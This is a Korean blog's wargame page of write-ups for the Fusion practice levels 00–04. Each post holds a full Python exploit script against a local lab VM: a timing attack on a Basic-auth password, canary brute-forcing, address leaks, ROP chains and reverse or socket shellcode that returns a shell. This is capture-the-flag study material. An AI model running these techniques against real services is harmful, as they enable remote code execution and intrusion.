BLOG main image
분류 전체보기 (224)
Reversing (13)
Pwnable (4)
Linux Kernel (3)
Crypto (2)
Wargames (68)
Programming (18)
Write Up (32)
Project (22)
Web (2)
My Life (52)
Memo (3)
etc (2)
발표자료 (1)
39,509 Visitors up to today!
Today 11 hit, Yesterday 4 hit
daisy rss
tistory 티스토리 가입하기!
'Wargames'에 해당되는 글 68건
pwnable.kr softmmu [666]
[보호되어 있는 글입니다. 비밀번호를 입력해 주세요.]

Secret Entry! Enter Password



kernel - ranchar
[보호되어 있는 글입니다. 비밀번호를 입력해 주세요.]

Secret Entry! Enter Password



kernel - knoob
[보호되어 있는 글입니다. 비밀번호를 입력해 주세요.]

Secret Entry! Enter Password



2016.04.28 22:03


얘도 엄청 어려웠다ㅋㅋㅋㅋ 두 군데에서 삽질을 했는데 첫 번째는 이 프로그램이 데몬으로 돌아가서 실행할 때마다 패스워드와 카나리, 베이스 주소 등등이 바뀌는 줄 알고 어떻게 할까 고민고민 하다가 성우형이 소켓이라는 사실과 패스워드를 구해내는 힌트를 주셔서 겨우 이 고비를 넘겼었다. 그리고 익스플로잇을 다 짠 후에 이번에는 당연히 소켓이니까 소켓용 /bin/sh를 보내다가 dup2 함수를 통해 파일디스크립터가 표준으로 바뀌어 있음을 깨닫고 일반 /bin/sh로 보내니까 쉘이 잘 따였다. 이 두 개 때문에 거의 이틀을 버렸다..ㅠㅠ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
from SunKn0wn import *
 
def get_password_char(tmp_table):
    for i in range(len(tmp_table) - 1):        # Select Sorting
        for j in range(i + 1len(tmp_table)):
            if ord(tmp_table[i]) > ord(tmp_table[j]):
                tmp_table[i], tmp_table[j] = tmp_table[j], tmp_table[i]
    return tmp_table[len(tmp_table) / 2]
 
#################### Get Password ####################
password = ''
table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
 
for i in range(15):
    tmp_table = []
    min_time = 1
    min_char = '_'
    for j in range(5):
        for k in table:
            r = remote('192.168.179.151'20004)
            r.sendline('GET /opt/fusion/level04 HTTP/1.1')
            payload = 'Authorization: Basic '
            payload += base64encode(password + k)
            r.sendline(payload)
            tstart = time.time()
            r.recv(1024)
            tend = time.time()
            if (tend - tstart) < min_time:
                min_time = tend - tstart
                min_char = k
            r.close()
        tmp_table.append(min_char)
    password += get_password_char(tmp_table)
    print "[*]Leaking password : " + password + '_' * (15 - i) + '  [%d / 16]' % (i + 1)
 
for i in table:
    r = remote('192.168.179.151'20004)
    r.sendline('GET /opt/fusion/level04 HTTP/1.1')
    payload = 'Authorization: Basic '
    payload += base64encode(password + i + 'A' * 2100)
    r.sendline(payload)
    recv = r.recvall()
    if "smashing" in recv:
        password += i
        r.close()
        break
    r.close()
    
print "[!]Password : " + password
 
#################### Get Canary ####################
canary = ''
 
for i in range(4):
    for j in range(0x100):
        r = remote('192.168.179.151'20004)
        r.sendline('GET /opt/fusion/level04 HTTP/1.1')
        payload = 'Authorization: Basic '
        payload += base64encode(password + 'A' * 2032 + canary + chr(j))
        r.sendline(payload)
        recv = r.recvall()
        if "smashing" not in recv:
            print "[*]Found canary byte : " + str(hex(j))
            canary += chr(j)
            r.close()
            break
        r.close()
print "[!]Canary : " + str(hex(up32(canary)))
 
#################### Get library/PIE Base Address ####################
Lib_Base = 0
PIE_Base = 0
 
= remote('192.168.179.151'20004)
r.sendline('GET /opt/fusion/level04 HTTP/1.1')
payload = 'Authorization: Basic '
payload += base64encode(password + 'A' * 2033)
r.sendline(payload)
recv = r.recvall()
Lib_Base = int(recv[188:196], 16- 0xe7887
print "[!]Lib_Base : " + str(hex(Lib_Base))
PIE_Base = int(recv[219:227], 16- 0x2dd1
print "[!]PIE_Base : " + str(hex(PIE_Base))
r.close()
 
#################### Exploit ####################
system_lib = Lib_Base + 0x0003CB20
read_lib = Lib_Base + 0x000C1240
pppr = PIE_Base + 0x00002D9D
bss = PIE_Base + 0x00004280
 
= remote('192.168.179.151'20004)
r.sendline('GET /opt/fusion/level04 HTTP/1.1')
payload = password + 'A' * 2032 + canary + 'A' * 28
payload += p32(read_lib)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(0x100)
payload += p32(system_lib)
payload += 'AAAA'
payload += p32(bss)
payload = 'Authorization: Basic ' + base64encode(payload)
r.sendline(payload)
sleep(0.2)
r.send(binsh)
r.interactive()
cs


'Wargames > fusion' 카테고리의 다른 글

fusion level04  (0) 2016.04.28
fusion level03  (0) 2016.04.25
fusion level02  (0) 2016.04.20
fusion level01  (0) 2016.04.15
fusion level00  (2) 2016.04.15
Name
Password
Homepage
Secret
2016.04.25 21:33


완전 어려웠다. 진짜 짱짱 어려웠다. 취약점 자체도 예상하지 못한거였는데 익스플로잇 하는 거도 어려웠다.. 마지막에는 풀이도 살짝 참고해서 풀어서 좀 아쉬웠다ㅠㅠㅠ 레벨4는 절대 풀이 꼭 안보고 풀어봐야겠다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from SunKn0wn import *
import hmac
import itertools
 
= remote('192.168.179.151'20003)
table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
gadget = [0x8048b240x80494700x8049c500x8049690,    # listen_plt(overwirtten by mprotect)
          0x80481790x80495910x8049c500x8049690,    # pppr
          0x80481580x80488b40x8048b910x8049ca2,     # 0x09335000(allocated heap)
          0x80481580x80488fc0x80481580x8048158,     # 0x1000
          0x80491e00x80481d40x80481d40x80481d4,     # 7
          0x80494300x80494600x8048b910x8049ca2]    # allocated heap(0x093357d0)
memcpy_plt = 0x08048E60
listen_got = 0x0804BD24
popebpret = 0x804a26f
leaveret = 0x8049431
offset = 0xFFFFAF70
pppr = 0x804a26d
bss = 0x0804BDC0
pop_eax = 0x08049b4f
pop_ebx = 0x08049a4f
add_ebx = 0x080493fe
 
token = r.recv(1024)[1:-2]
 
################ overwrite listen to mprotect ################
attack = ''
attack += p32(pop_eax)
attack += p32(offset)
attack += 'A' * 0x5c
attack += p32(pop_ebx)
attack += p32((listen_got - 0x5d5b04c4) & 0xffffffff)
attack += p32(add_ebx)
 
################ call listen(mprotect) payload ################
for i in range(len(gadget)):
    attack += p32(memcpy_plt)
    attack += p32(pppr)
    attack += p32(bss + i)
    attack += p32(gadget[i])
    attack += "\\\\u0100\\\\u0000"
attack += p32(popebpret)
attack += p32(bss - 4)
attack += p32(leaveret)
 
payload = 'A' * 127
payload += '\\\\u4141' 
payload += 'A' * 31
payload += attack
 
payload2 = token + '\n'
payload2 += '{"title":"' + payload + '", '
payload2 += '"contents":"' + ReverseShell32 + '", '
payload2 += '"collision":"5unKn0wn'
################ making validate request ################
for col in itertools.product(table, repeat=4):
    send = payload2 + ''.join(col) + '"}'
    hash = hmac.new(token, send, hashlib.sha1)
    if hash.hexdigest()[:4== "0000":
        print "[*]Find! : " + send
        print "[*]hash : " + hash.hexdigest()
        break
 
r.send(send)
cs

ROP 가젯 이용해서 arbitrary write를 해 본적은 처음이어서 더 신기했다. 그리고 나는 아직 ROP에 대해서 확실하게 알고 있지 않았었던 거라는 것을 깨달았다. NULL 처리해 주는 거랑 마지막으로 mprotect는 0x1000단위로 떨어지는 메모리 단위로 인자를 넣어줘야 되는 것 때문에 고생 좀 했다.. 레벨 4가 근심걱정이 가득하다.

'Wargames > fusion' 카테고리의 다른 글

fusion level04  (0) 2016.04.28
fusion level03  (0) 2016.04.25
fusion level02  (0) 2016.04.20
fusion level01  (0) 2016.04.15
fusion level00  (2) 2016.04.15
Name
Password
Homepage
Secret
2016.04.20 21:43


중간에 엉뚱한데서 살짝 삽질을 했었다. level03부터 완전 헬이라던데 어떨지 모르겠다.. 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from SunKn0wn import *
 
= remote('192.168.179.151'20002)
 
read_plt = 0x08048860
execve_plt = 0x080489b0
bss = 0x0804b420
pppr = 0x80499bd
 
############ get xor key ############
r.recvsend('E')
r.send('\x80\x00\x00\x00')
r.send('\x00' * 0x80)
r.recvuntil('--]\n\x80\x00\x00\x00')
xorkey = r.recv(0x80)
print "[*]Get xor key success!"
 
############ payload ############
payload = 'A' * 0x20010
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(8)
payload += p32(execve_plt)
payload += 'AAAA'
payload += p32(bss)
payload += p32(0)
payload += p32(0)
realpayload = ''
cnt = 0
for i in payload:
    realpayload += chr(ord(i) ^ ord(xorkey[cnt % 0x80]))
    cnt += 1
 
############ attack ############
r.recvsend('E')
r.send(p32(len(realpayload)))
r.send(realpayload)
sleep(0.2)
r.recvsend('Q')
r.send("/bin/sh\x00")
r.interactive()
cs


'Wargames > fusion' 카테고리의 다른 글

fusion level04  (0) 2016.04.28
fusion level03  (0) 2016.04.25
fusion level02  (0) 2016.04.20
fusion level01  (0) 2016.04.15
fusion level00  (2) 2016.04.15
Name
Password
Homepage
Secret
2016.04.15 03:21

레벨0이랑 소스는 같은데 aslr이 추가되고 버퍼의 주소를 안알려줬다. 문제를 보고 그냥 바로 ROP를 해야겠다 생각해서 걍 ROP로 풀었었는데 풀고 다른 사람들의 풀이를 보니까 다 jmp esp 가젯을 이용해서 풀었더라.. jmp esp 가젯은 많이 사용해 본 적이 없어서 생각해 내지 못한 것 같다. 앞으로 또 써먹을 일이 있었으면 좋겠다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from SunKn0wn import *
 
= remote('192.168.179.151'20001)
 
strcpy_plt = 0x080489A0
leaveret = 0x8049853
ppr = 0x08049A2E
popebpret = 0x8049a78
bss = 0x0804B4A8
 
Table = [0x80481580x80493900x80499400x8049570,     # read_plt
         0x804813b0x8048d700x80499400x8049570,     # pppr
         0x80481580x80481580x80481580x8048158,     # 0
         0x8048be00x8048f170x80499400x8049570,     # bss
         0x80481580x804830c0x80481580x8048158,     # 100
         0x8048be00x8048f170x80499400x8049570]     # bss
cnt = 0
 
payload = 'A' * 139
for gadget in Table:
    payload += p32(strcpy_plt)
    payload += p32(ppr)
    payload += p32(bss + cnt)
    payload += p32(gadget)
    cnt += 1
payload += p32(popebpret)
payload += p32(bss - 4)
payload += p32(leaveret)
 
payload = 'GET ' + payload + ' HTTP/1.1'
r.recvsend(payload)
sleep(0.5)
r.send(SocketShell32)
r.interactive()
cs

페이로드를 bss영역에 복사해서 fake ebp로 페이로드를 실행하고 쉘코드를 받아서 풀었다. 지금 생각해 보니까 참 어렵게도 푼 것 같다..

'Wargames > fusion' 카테고리의 다른 글

fusion level04  (0) 2016.04.28
fusion level03  (0) 2016.04.25
fusion level02  (0) 2016.04.20
fusion level01  (0) 2016.04.15
fusion level00  (2) 2016.04.15
Name
Password
Homepage
Secret
2016.04.15 03:15


간단한 bof 였다. NX가 걸려있지 않고 버퍼의 주소를 알기 때문에 쉘코드를 사용했다. 다만 realpath라는 함수의 용도를 모르겠어서 약간 헤멨었다.

1
2
3
4
5
6
7
8
9
10
11
12
from SunKn0wn import *
 
= remote('192.168.179.151'20000)
r.recvuntil('at 0x')
buf = int(r.recv(8), 16)
print "[*]buffer addr : " + str(hex(buf))
payload = 'A' * 139
payload += p32(buf + 144)
payload += SocketShell32
payload = 'GET ' + payload + ' HTTP/1.1'
r.recvsend(payload)
r.interactive()
cs


'Wargames > fusion' 카테고리의 다른 글

fusion level04  (0) 2016.04.28
fusion level03  (0) 2016.04.25
fusion level02  (0) 2016.04.20
fusion level01  (0) 2016.04.15
fusion level00  (2) 2016.04.15
Gyeongje | 2017.01.18 18:42 신고 | PERMALINK | EDIT/DEL | REPLY
코드에 궁금한점이 생겨서 질문합니다
작성자님 블로그 이름이신 SunKn0wn의 이름으로 모듈을 불러오시는데 따로 pwntools 모듈의 이름바꿔서 사용하시는건가요? 아니면 어떤 의미가 있어서 사용하시는건지 궁금합니다.
5unKn0wn | 2017.01.23 03:41 신고 | PERMALINK | EDIT/DEL
아 SunKn0wn 모듈은 직접 만든거구요. 이름은 딱히 쓸만한게 없어서 pwntools랑 똑같이 했습니다. 윈도우에서는 짤 때는 SunKn0wn으로 짜고 리눅스로 옮겨서 디버깅 하거나 할 때는 모듈 이름만 pwntools로 바꿔서 하면 편해서 그렇게 했습니다
Name
Password
Homepage
Secret
[Rookiss] syscall - 200pt
[보호되어 있는 글입니다. 비밀번호를 입력해 주세요.]

Secret Entry! Enter Password



[Rookiss] fix - 35pt
[보호되어 있는 글입니다. 비밀번호를 입력해 주세요.]

Secret Entry! Enter Password